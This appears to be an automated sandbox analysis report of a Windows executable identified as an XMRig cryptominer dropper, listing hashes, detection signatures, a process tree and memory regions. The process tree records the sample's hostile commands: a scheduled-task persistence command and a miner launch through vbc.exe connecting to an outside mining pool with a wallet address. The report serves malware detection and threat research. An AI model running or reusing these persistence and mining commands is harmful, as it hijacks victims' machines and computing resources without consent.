Resubmissions

10/10/2024, 04:54

241010-fjqxaaxgme 10

10/10/2024, 02:37

241010-c366tsvgpc 10

29/01/2024, 18:13

240129-wtq8sshdcl 10

Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/01/2024, 18:13

General

  • Target

    9b3430f42a0fb00d014c2fa208662865.exe

  • Size

    4.8MB

  • MD5

    9b3430f42a0fb00d014c2fa208662865

  • SHA1

    09a16508bcc0a6da90c272daa2eff627ccd3205d

  • SHA256

    8062eb6eea56d33e35ea32f6eef98636bbd66c2d177c1889c4f0a960b0d14d47

  • SHA512

    d2887d08a66e10af1e89fb60f2a4f8d7bae7dc5cccc0301a70cb5ff120094c5e6247b44cf3b1b2b1c7e5d48e687319b842a721d757ebb44cf484ef766db92e29

  • SSDEEP

    98304:CdlaF/1RByjAQG/Mul2rq/aReDkizMeQUh:CdYvkji/Mul2rVe4iwVUh

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • .NET Reactor proctector 3 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\9b3430f42a0fb00d014c2fa208662865.exe
    "C:\Users\Admin\AppData\Local\Temp\9b3430f42a0fb00d014c2fa208662865.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3992
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp49DA.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3560
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4024
      • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
        "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2780
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4076
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1880
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1800

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

    Filesize

    486KB

    MD5

    7a14e29eae2d9f2854edd04254a0e6c7

    SHA1

    d2b7f4d530f6550fe171cc7be768f9a75fee31ab

    SHA256

    0d4d780921e2a0dfab7256a1736b52897bd79880a3099d2101f96abc21e08697

    SHA512

    58e7b8b3402efe1e44300a0021d628980e0a174f8eb1cb468947f3c5b2390add2db170b4a0d77ed55315bec8852cab8fb61cc37cdad847c7af73c44713b8a83a

  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

    Filesize

    495KB

    MD5

    7b32894b5cce3d3e639d8edfe83b3732

    SHA1

    061da55a51deaf0f4f77a88d17bee1b18d858ff7

    SHA256

    6e8a4281635c01e7c5f2b19826705d544ffe5d681256c53380496b8e3438eed1

    SHA512

    95d2abbf2c8b5ce4fb7a62484e0e579613ce2ad9b60ac530155f4f70b2b464c577f482872c145fa9b7f92120e371bf90fa591d54c0dc69805de608b9fa77f263

  • C:\Users\Admin\AppData\Local\Temp\tmp49DA.tmp.bat

    Filesize

    168B

    MD5

    087adf66381bbd31593de1b9b61f9abd

    SHA1

    06a3084c996951e7891682d53b0d129910aa0a3c

    SHA256

    01ed5514455ca118ded2abc7267caa2f8c8837b9e384eb1e16fd557df2bbe7c8

    SHA512

    cd20aad34814ddef12a473c98e6f0dd3857faa13517f2b3dd3e59184aa99de5c7d0003fb54f02f2c94ce551d997e4c0cad4dc40edf95aaf1610c8fabb4c109a8

  • memory/1800-34-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-27-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-42-0x000001DB7F140000-0x000001DB7F160000-memory.dmp

    Filesize

    128KB

  • memory/1800-41-0x000001DB7F120000-0x000001DB7F140000-memory.dmp

    Filesize

    128KB

  • memory/1800-40-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-36-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-38-0x000001DB7F120000-0x000001DB7F140000-memory.dmp

    Filesize

    128KB

  • memory/1800-39-0x000001DB7F140000-0x000001DB7F160000-memory.dmp

    Filesize

    128KB

  • memory/1800-37-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-18-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-21-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-20-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-35-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-23-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-24-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-25-0x000001DB7EE90000-0x000001DB7EEB0000-memory.dmp

    Filesize

    128KB

  • memory/1800-33-0x000001DB7F100000-0x000001DB7F120000-memory.dmp

    Filesize

    128KB

  • memory/1800-28-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-26-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-29-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-30-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-31-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/1800-32-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/2780-22-0x00007FFE098B0000-0x00007FFE0A371000-memory.dmp

    Filesize

    10.8MB

  • memory/2780-17-0x00007FFE098B0000-0x00007FFE0A371000-memory.dmp

    Filesize

    10.8MB

  • memory/2780-16-0x0000000001340000-0x0000000001341000-memory.dmp

    Filesize

    4KB

  • memory/2780-15-0x000000001C620000-0x000000001C630000-memory.dmp

    Filesize

    64KB

  • memory/2780-14-0x00007FFE098B0000-0x00007FFE0A371000-memory.dmp

    Filesize

    10.8MB

  • memory/3992-2-0x000000001C920000-0x000000001C930000-memory.dmp

    Filesize

    64KB

  • memory/3992-0-0x0000000000990000-0x0000000000E6A000-memory.dmp

    Filesize

    4.9MB

  • memory/3992-1-0x00007FFE098B0000-0x00007FFE0A371000-memory.dmp

    Filesize

    10.8MB

  • memory/3992-3-0x0000000001710000-0x0000000001711000-memory.dmp

    Filesize

    4KB

  • memory/3992-10-0x00007FFE098B0000-0x00007FFE0A371000-memory.dmp

    Filesize

    10.8MB